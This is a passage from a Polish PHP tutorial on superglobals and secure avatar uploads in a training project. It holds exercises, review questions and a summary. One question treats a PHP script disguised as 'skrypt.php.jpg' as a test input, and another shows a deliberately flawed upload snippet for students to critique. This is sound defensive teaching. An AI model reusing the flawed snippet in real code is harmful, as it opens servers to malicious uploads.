<p class="wp-block-paragraph"><strong>B. Przycisk „Usuń avatar”.</strong> Na <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code> drugi formularz (POST, bez pliku) z przyciskiem „Usuń avatar”. Nowa strona akcji <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-avatar.php</code> w stylu <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code>: ustawia w bazie <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar = NULL</code> (nowa funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">usunAvatarUzytkownika()</code>; jak przekazać <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> — czy potrzebujesz <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> dla tego <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>?), usuwa plik z dysku, ustawia komunikat i przekierowuje. Gracz znów widzi kółko z literą.</p>



<p class="wp-block-paragraph"><strong>C. Avatary w rankingu.</strong> W „Najlepsi gracze” obok loginu mały avatar (np. klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">.avatar-maly</code> 24×24 px) albo kółko z pierwszą literą <strong>loginu</strong>. Co musisz zmienić w zapytaniu <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzRanking()</code>? Czy powtórzysz w pętli całą konstrukcję <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">else</code> z sekcji 6, czy zamkniesz ją w funkcji zwracającej fragment HTML? Uzasadnij wybór.</p>



<h1 class="wp-block-heading">Sprzątanie</h1>



<ol class="wp-block-list">
<li>Usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis2.php</code>, katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">test_upload/</code> oraz kopie <code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">notatka.png</code> z katalogu projektu.</li>



<li>Sprawdź, że przywrócone są: <code class="prettyprint lang-sql" style="font-size: 0.85em;">enctype</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code> (Eksperyment 1), gałąź z <code class="prettyprint lang-sql" style="font-size: 0.85em;">getimagesize()</code> (Eksperyment 2), nazwa pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar_&lt;id&gt;_&lt;czas&gt;</code> (Eksperyment 3), nazwa katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary</code> (Eksperyment 4, Test 8), <code class="prettyprint lang-sql" style="font-size: 0.85em;">?? null</code> przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code> i wartości w <code class="prettyprint lang-sql" style="font-size: 0.85em;">php.ini</code> (Eksperyment 5), <code class="prettyprint lang-sql" style="font-size: 0.85em;">mb_substr</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> (Test 1).</li>



<li>Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> i opróżnij <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code> (katalog zostaje).</li>



<li>Zaloguj się jako Kama, wgraj avatar, sprawdź, że się wyświetla. <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> — wszystko <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>.</li>
</ol>



<h1 class="wp-block-heading">Do samodzielnego sprawdzenia</h1>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&#91; ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
&#91; ] Potrafię zbudować formularz wysyłający plik i wiem, po co jest enctype="multipart/form-data".
&#91; ] Znam pięć kluczy tablicy $_FILES&#91;'pole'] i wiem, którym z nich można ufać.
&#91; ] Wiem, co się dzieje z plikiem tymczasowym, gdy skrypt go nie przeniesie.
&#91; ] Potrafię rozpoznać brak pliku, przekroczony limit i przerwane przesyłanie po kodzie UPLOAD_ERR_...
&#91; ] Wiem, dlaczego $_FILES&#91;'avatar'] czytam przez ?? null.
&#91; ] Potrafię sprawdzić rozszerzenie pliku z listą dozwolonych i wiem, po co strtolower().
&#91; ] Wiem, co sprawdza getimagesize() i czego nie sprawdza samo rozszerzenie.
&#91; ] Potrafię wyjaśnić, dlaczego plik zapisuję pod własną nazwą, a nie pod $_FILES&#91;'avatar']&#91;'name'].
&#91; ] Wiem, dlaczego w bazie zapisuję nazwę pliku, a nie cały plik ani pełną ścieżkę.
&#91; ] Wiem, dlaczego pole pliku nie zachowuje wybranego pliku po błędzie.
&#91; ] Usunęłam/usunąłem brudnopisy i pliki testowe.</code></pre>



<h1 class="wp-block-heading">Pytania kontrolne</h1>



<p class="wp-block-paragraph">1. Formularz ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">method="post"</code>, pole <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="file" name="zdjecie"&gt;</code>, ale nie ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">enctype</code>. Gracz wybiera <code class="prettyprint lang-sql" style="font-size: 0.85em;">wakacje.jpg</code>. Co jest w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code>, a co w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>?</p>



<p>2. Przewidź wynik <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujAvatar()</code> (lista komunikatów) dla:<br />a) <code class="prettyprint lang-sql" style="font-size: 0.85em;">name</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">Selfie.JPEG</code>, prawdziwe zdjęcie, <code class="prettyprint lang-sql" style="font-size: 0.85em;">error</code> = 0, <code class="prettyprint lang-sql" style="font-size: 0.85em;">size</code> = 800 000,<br />b) <code class="prettyprint lang-sql" style="font-size: 0.85em;">name</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">mem.gif</code>, prawdziwy obrazek, <code class="prettyprint lang-sql" style="font-size: 0.85em;">error</code> = 0, <code class="prettyprint lang-sql" style="font-size: 0.85em;">size</code> = 3 000 000,<br />c) <code class="prettyprint lang-sql" style="font-size: 0.85em;">name</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">skrypt.php.jpg</code>, zawartość to kod PHP, <code class="prettyprint lang-sql" style="font-size: 0.85em;">error</code> = 0, <code class="prettyprint lang-sql" style="font-size: 0.85em;">size</code> = 300,<br />d) <code class="prettyprint lang-sql" style="font-size: 0.85em;">error</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_NO_FILE</code>.</p>



<p class="wp-block-paragraph">3. Kolega sprawdza format tak: <code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($plik['type'] !== 'image/png' &amp;&amp; $plik['type'] !== 'image/jpeg') { ... }</code>. Dlaczego to nie chroni aplikacji? Co sprawdza TaskQuest zamiast tego?</p>



<p>4. <span style="font-size: revert; color: initial;">Koleżanka pominęła </span><code class="prettyprint lang-sql" style="font-size: 0.85em;">move_uploaded_file()</code><span style="font-size: revert; color: initial;">: po walidacji od razu zapisuje w bazie nazwę pliku i przekierowuje. Co zobaczy gracz na stronie głównej i dlaczego?</span><br /></p>



<p class="wp-block-paragraph">5. <span style="font-size: revert; color: initial;">Dlaczego nowy avatar Kamy dostaje nazwę </span><code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar_1_&lt;czas&gt;.png</code><span style="font-size: revert; color: initial;">, a nie po prostu </span><code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar_1.png</code><span style="font-size: revert; color: initial;">? Podaj dwa powody.</span><br /><br />6. <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES['avatar']</code> nie istnieje, choć gracz wysłał formularz metodą POST. Jaka jest najbardziej prawdopodobna przyczyna? Co pokaże TaskQuest?</p>



<p>7. Serwer ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">upload_max_filesize = 512K</code>, a TaskQuest dopuszcza 1 MB. Gracz wysyła obrazek 700 KB. Który warunek w <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujAvatar()</code> zadziała i dlaczego komunikat wprowadzi gracza w błąd? Jak to naprawić bez zmiany kodu PHP?</p>



<p class="wp-block-paragraph">8. <span style="font-size: revert; color: initial;">Znajdź trzy błędy:</span><br /><pre><code class="prettyprint lang-sql" style="font-size: 0.85em;">$plik = $_FILES['avatar'];<br />if ($plik['error'] == 0 &amp;&amp; $plik['size'] &lt; 1000000) {<br />    move_uploaded_file($plik['tmp_name'], 'uploads/avatary/' . $plik['name']);<br />}</code></pre>9. <span style="font-size: revert; color: initial;">Dlaczego w kolumnie </span><code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar</code><span style="font-size: revert; color: initial;"> zapisujemy </span><code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar_1_1790000000.png</code><span style="font-size: revert; color: initial;">, a nie </span><code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/avatar_1_1790000000.png</code><span style="font-size: revert; color: initial;">? Co trzeba by zrobić z bazą w każdym z tych wariantów, gdyby katalog zmienił nazwę na </span><code class="prettyprint lang-sql" style="font-size: 0.85em;">media/avatary</code><span style="font-size: revert; color: initial;">?</span></p>



<p>10. Po awarii bazy w Teście 9 w <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code> został plik, którego baza nie wskazuje. Czy zamiana kolejności (najpierw baza, potem plik) rozwiązałaby problem? Co wtedy mogłoby pójść źle?</p>
</details>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h1 class="wp-block-heading">PODSUMOWANIE LEKCJI</h1>



<div class="el-h2">
<h2 dir="auto" data-heading="W skrócie">W skrócie</h2>
</div>



<div class="el-p">
<p dir="auto"><strong>Czym są superglobale</strong></p>
</div>



<div class="el-ul">
<ul class="has-list-bullet">
<li dir="auto" data-line="0">To 9 wbudowanych tablic PHP dostępnych w&nbsp;<strong>każdym zakresie</strong>: w skrypcie, w funkcji, w metodzie klasy — bez słowa&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">global</code>&nbsp;i bez przekazywania w parametrze.</li>
<li dir="auto" data-line="1">Wszystkie są zwykłymi tablicami: czytamy je jak każdą inną (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['login']</code>), więc brakujący klucz to ostrzeżenie. Dlatego zawsze&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">isset()</code>&nbsp;albo&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">?? wartość domyślna</code>.</li>
</ul>
</div>



<div class="el-p">
<p dir="auto"><strong>Komu ufamy, a komu nie</strong></p>
</div>



<div class="el-table" dir="ltr">
<table>
<thead>
<tr>
<th dir="ltr">Tablica</th>
<th dir="ltr">Kto wpisuje dane</th>
<th dir="ltr">Ufamy?</th>
</tr>
</thead>
<tbody>
<tr>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_REQUEST</code></td>
<td dir="ltr">użytkownik (przeglądarka)</td>
<td dir="ltr">nie</td>
</tr>
<tr>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code> – <code class="prettyprint lang-sql" style="font-size: 0.85em;">name</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">type</code></td>
<td dir="ltr">przeglądarka użytkownika</td>
<td dir="ltr">nie</td>
</tr>
<tr>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code> – <code class="prettyprint lang-sql" style="font-size: 0.85em;">size</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">error</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">tmp_name</code></td>
<td dir="ltr">PHP</td>
<td dir="ltr">tak</td>
</tr>
<tr>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code></td>
<td dir="ltr">nasz kod na serwerze</td>
<td dir="ltr">tak</td>
</tr>
<tr>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SERVER</code> – <code class="prettyprint lang-sql" style="font-size: 0.85em;">HTTP_*</code> (m.in. <code class="prettyprint lang-sql" style="font-size: 0.85em;">HTTP_USER_AGENT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">HTTP_REFERER</code>)</td>
<td dir="ltr">klient</td>
<td dir="ltr">nie</td>
</tr>
<tr>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SERVER</code> – reszta (m.in. <code class="prettyprint lang-sql" style="font-size: 0.85em;">REQUEST_METHOD</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">REMOTE_ADDR</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DOCUMENT_ROOT</code>)</td>
<td dir="ltr">serwer</td>
<td dir="ltr">tak</td>
</tr>
</tbody>
</table>
</div>



<div class="el-p">
<p dir="auto">To jest sedno całej lekcji: superglobala nie dzielimy na „bezpieczną” i „niebezpieczną” jako całość, tylko pytamy o&nbsp;<strong>każdy klucz z osobna, kto go ustawił</strong>.</p>
</div>



<div class="el-p">
<p dir="auto"><strong>Rzeczy, które trzeba pamiętać, bo psują kod</strong></p>
</div>



<div class="el-ul">
<ul class="has-list-bullet">
<li dir="auto" data-line="0"><code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code>&nbsp;musi być przed jakimkolwiek wyjściem (HTML,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code>), tak samo&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie()</code>&nbsp;i&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">header()</code>.</li>
<li dir="auto" data-line="1">Ciasteczko ustawione przez&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie()</code>&nbsp;pojawi się w&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code>&nbsp;dopiero&nbsp;<strong>przy następnym żądaniu</strong>&nbsp;— w tym samym skrypcie go jeszcze nie odczytasz.</li>
<li dir="auto" data-line="2"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_REQUEST</code>&nbsp;i&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$GLOBALS</code>&nbsp;działają, ale w tym kursie ich nie używamy:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_REQUEST</code>&nbsp;miesza trzy źródła danych (nie wiadomo, skąd przyszła wartość), a zamiast&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$GLOBALS</code>&nbsp;przekazujemy zmienne parametrami funkcji.</li>
<li dir="auto" data-line="3">GET nadaje się do wyszukiwania, filtrowania, sortowania, stronicowania i linków do zasobu. Nie nadaje się do haseł ani do zmiany danych w bazie — adres da się zapisać w zakładce, wysłać komuś i odświeżyć.</li>
</ul>
</div>



<div class="el-p">
<p dir="auto"><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code>&nbsp;i przesyłanie pliku</strong></p>
</div>



<div class="el-ul">
<ul class="has-list-bullet">
<li dir="auto" data-line="0">Formularz z plikiem wymaga dwóch rzeczy naraz:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">method="post"</code>&nbsp;<strong>i</strong>&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">enctype="multipart/form-data"</code>. Bez&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">enctype</code>&nbsp;w&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code>&nbsp;nie ma nic, a w&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>&nbsp;jest sama nazwa pliku.</li>
<li dir="auto" data-line="1">Zanim ruszy nasz skrypt, PHP zapisuje plik w katalogu tymczasowym pod losową nazwą. Ten plik&nbsp;<strong>znika po zakończeniu skryptu</strong>&nbsp;— jeśli go nie przeniesiemy&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">move_uploaded_file()</code>, przepada.</li>
<li dir="auto" data-line="2"><code class="prettyprint lang-sql" style="font-size: 0.85em;">move_uploaded_file()</code>&nbsp;zamiast&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">copy()</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">rename()</code>, bo sprawdza, czy ścieżka wskazuje plik faktycznie przesłany w tym żądaniu.</li>
<li dir="auto" data-line="3">Kolejność walidacji: najpierw&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">error</code>, potem rozmiar, potem rozszerzenie z listy dozwolonych, na końcu zawartość (<code class="prettyprint lang-sql" style="font-size: 0.85em;">getimagesize()</code>). Gdy&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">error</code>&nbsp;jest różny od&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_OK</code>, reszta kluczy nic nie znaczy.</li>
<li dir="auto" data-line="4">Rozszerzenie i&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">type</code>&nbsp;mówią tylko, jak plik się&nbsp;<strong>nazywa</strong>. O tym, czym plik&nbsp;<strong>jest</strong>, mówi dopiero zajrzenie do zawartości.</li>
<li dir="auto" data-line="5">Plik zapisujemy pod własną nazwą (<code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar_&lt;id&gt;_&lt;czas&gt;.&lt;rozszerzenie&gt;</code>), a w bazie trzymamy samą nazwę pliku — nie zawartość i nie pełną ścieżkę.</li>
<li dir="auto" data-line="6">Przekroczony&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">post_max_size</code>&nbsp;to pułapka: żądanie jest metodą POST, ale&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>&nbsp;i&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code>&nbsp;są&nbsp;<strong>puste</strong>. Dlatego&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES['avatar'] ?? null</code>.</li>
</ul>
</div>



<div class="el-hr"><hr /></div>



<div class="el-h2">
<h2 dir="auto" data-heading="Co trzeba umieć na INF.03?">Co trzeba umieć na INF.03?</h2>
</div>



<div class="el-ul">
<ul class="has-list-bullet">
<li dir="auto" data-line="0"><strong>odczytać parametr przesłany metodą GET i podstawić wartość domyślną, gdy go nie ma</strong>&nbsp;— w arkuszu: „pobiera wartość przesłaną metodą GET, a w przypadku braku – wartością 6”;</li>
<li dir="auto" data-line="1"><strong>zbudować odnośnik, który przekazuje parametr GET do tej samej strony</strong>&nbsp;—&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;a href="index.php?id=3"&gt;Europa&lt;/a&gt;</code>&nbsp;generowane w pętli z rekordów z bazy;</li>
<li dir="auto" data-line="2"><strong>rozpoznać polecenie „formularz wysyłający dane metodą bezpieczną”</strong>&nbsp;— chodzi o&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">method="post"</code>, i umieć wskazać w&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">action</code>&nbsp;ten sam plik albo inny skrypt;</li>
<li dir="auto" data-line="3"><strong>sprawdzić, czy formularz w ogóle został wysłany</strong>, zanim skrypt zacznie zapisywać do bazy — w arkuszu: „działa tylko w przypadku, gdy z formularza zostały przesłane dane”. Wystarczy&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">isset($_POST['pole'])</code>&nbsp;lub&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SERVER['REQUEST_METHOD'] === 'POST'</code>&nbsp;(<code class="prettyprint lang-sql" style="font-size: 0.85em;">isset()</code>&nbsp;jest w tabeli funkcji dołączonej do arkusza);</li>
<li dir="auto" data-line="4"><strong>wstawić do bazy wartości pobrane z formularza</strong>&nbsp;i na końcu&nbsp;<strong>zamknąć połączenie z bazą</strong>&nbsp;— to osobny punkt wymagań w arkuszu;</li>
<li dir="auto" data-line="5"><strong>użyć sesji i ciasteczek</strong>&nbsp;do zapamiętania stanu użytkownika między stronami (<code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie()</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code>).</li>
</ul>
</div>



<div class="el-hr"><hr /></div>



<div class="el-h2">
<h2 dir="auto" data-heading="Minimum, które powinno wejść w pamięć">Minimum, które powinno wejść w pamięć</h2>
</div>



<div class="el-p">
<p dir="auto">Jeżeli masz zapamiętać tylko kilka rzeczy z tej lekcji, zapamiętaj te:</p>
</div>



<div class="el-ol">
<ol>
<li dir="auto" data-line="0">Superglobale działają&nbsp;<strong>wszędzie</strong>, także w funkcji — bez&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">global</code>.</li>
<li dir="auto" data-line="1"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code>&nbsp;i&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>&nbsp;to dane od użytkownika. Czytaj je zawsze przez&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">?? ''</code>&nbsp;lub&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">isset()</code>&nbsp;i rzutuj liczby:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)($_GET['id'] ?? 0)</code>.</li>
<li dir="auto" data-line="2">GET = pobieranie i filtrowanie, POST = zmiana danych, logowanie, pliki.</li>
<li dir="auto" data-line="3"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code>&nbsp;żyje na serwerze i jej ufamy.&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code>&nbsp;żyje w przeglądarce i jej&nbsp;<strong>nie</strong>&nbsp;ufamy.</li>
<li dir="auto" data-line="4"><code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie()</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">header()</code>&nbsp;— zawsze przed jakimkolwiek wypisaniem treści.</li>
<li dir="auto" data-line="5">Formularz z plikiem:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">method="post"</code>&nbsp;+&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">enctype="multipart/form-data"</code>.</li>
<li dir="auto" data-line="6"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES['pole']</code>&nbsp;ma 5 kluczy:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">name</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">type</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">tmp_name</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">error</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">size</code>. Ufamy trzem ostatnim.</li>
<li dir="auto" data-line="7">Bez&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">move_uploaded_file()</code>&nbsp;plik znika po zakończeniu skryptu.</li>
<li dir="auto" data-line="8">Rozszerzenie i&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">type</code>&nbsp;można podrobić — zawartość obrazka sprawdza&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">getimagesize()</code>.</li>
<li dir="auto" data-line="9">Plik zapisujemy pod własną, unikalną nazwą; w bazie trzymamy tylko tę nazwę.</li>
</ol>
</div>



<div class="el-hr"><hr /></div>



<div class="el-h2">
<h2 dir="auto" data-heading="Ściągawka – najważniejsze polecenia i składnia">Ściągawka – najważniejsze polecenia i składnia</h2>
</div>



<div class="el-p">
<p dir="auto"><strong>Odczyt danych od użytkownika</strong></p>
</div>



<div class="el-pre">
<pre class="language-php"><code class="prettyprint lang-sql" style="font-size: 0.85em;"><span class="token variable">$id</span>     <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword type-casting">int</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token global">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'id'</span><span class="token punctuation">]</span> <span class="token operator">??</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// liczba z adresu, 0 gdy brak</span>
<span class="token variable">$szukaj</span> <span class="token operator">=</span> <span class="token function">trim</span><span class="token punctuation">(</span><span class="token global">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'q'</span><span class="token punctuation">]</span> <span class="token operator">??</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">)</span><span class="token punctuation">;</span>         <span class="token comment">// tekst z adresu</span>
<span class="token variable">$login</span>  <span class="token operator">=</span> <span class="token function">trim</span><span class="token punctuation">(</span><span class="token global">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'login'</span><span class="token punctuation">]</span> <span class="token operator">??</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">// tekst z formularza</span>
<span class="token variable">$motyw</span>  <span class="token operator">=</span> <span class="token global">$_COOKIE</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'motyw'</span><span class="token punctuation">]</span> <span class="token operator">??</span> <span class="token string single-quoted-string">'jasny'</span><span class="token punctuation">;</span>   <span class="token comment">// ciasteczko z wartością domyślną</span>

<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token global">$_SERVER</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'REQUEST_METHOD'</span><span class="token punctuation">]</span> <span class="token operator">===</span> <span class="token string single-quoted-string">'POST'</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">/* formularz został wysłany */</span> <span class="token punctuation">}</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token global">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'login'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">/* wersja egzaminacyjna: sprawdzenie pola */</span> <span class="token punctuation">}</span>

<span class="token keyword">echo</span> <span class="token function">htmlspecialchars</span><span class="token punctuation">(</span><span class="token variable">$szukaj</span><span class="token punctuation">)</span><span class="token punctuation">;</span>           <span class="token comment">// zanim pokażesz dane użytkownika na stronie</span>
</code></pre>
</div>



<div class="el-p">
<p dir="auto"><strong>Sesja</strong></p>
</div>



<div class="el-pre">
<pre class="language-php"><code class="prettyprint lang-sql" style="font-size: 0.85em;"><span class="token function">session_start</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                          <span class="token comment">// przed jakimkolwiek wyjściem</span>
<span class="token global">$_SESSION</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'uzytkownik_id'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>
<span class="token variable">$id</span> <span class="token operator">=</span> <span class="token global">$_SESSION</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'uzytkownik_id'</span><span class="token punctuation">]</span> <span class="token operator">??</span> <span class="token constant">null</span><span class="token punctuation">;</span>
<span class="token keyword">unset</span><span class="token punctuation">(</span><span class="token global">$_SESSION</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'komunikat'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token comment">// usunięcie jednego klucza</span>
<span class="token function">session_destroy</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                        <span class="token comment">// koniec całej sesji (wylogowanie)</span>
</code></pre>
</div>



<div class="el-p">
<p dir="auto"><strong>Ciasteczka</strong></p>
</div>



<div class="el-pre">
<pre class="language-php"><code class="prettyprint lang-sql" style="font-size: 0.85em;"><span class="token function">setcookie</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'motyw'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'ciemny'</span><span class="token punctuation">,</span> <span class="token function">time</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">30</span> <span class="token operator">*</span> <span class="token number">24</span> <span class="token operator">*</span> <span class="token number">60</span> <span class="token operator">*</span> <span class="token number">60</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// na 30 dni</span>
<span class="token function">setcookie</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'motyw'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">,</span> <span class="token function">time</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">3600</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                      <span class="token comment">// usunięcie</span>
<span class="token comment">// odczyt dopiero przy NASTĘPNYM żądaniu: $_COOKIE['motyw']</span>
</code></pre>
</div>



<div class="el-p">
<p dir="auto"><strong>Formularz z plikiem</strong></p>
</div>



<div class="el-pre">
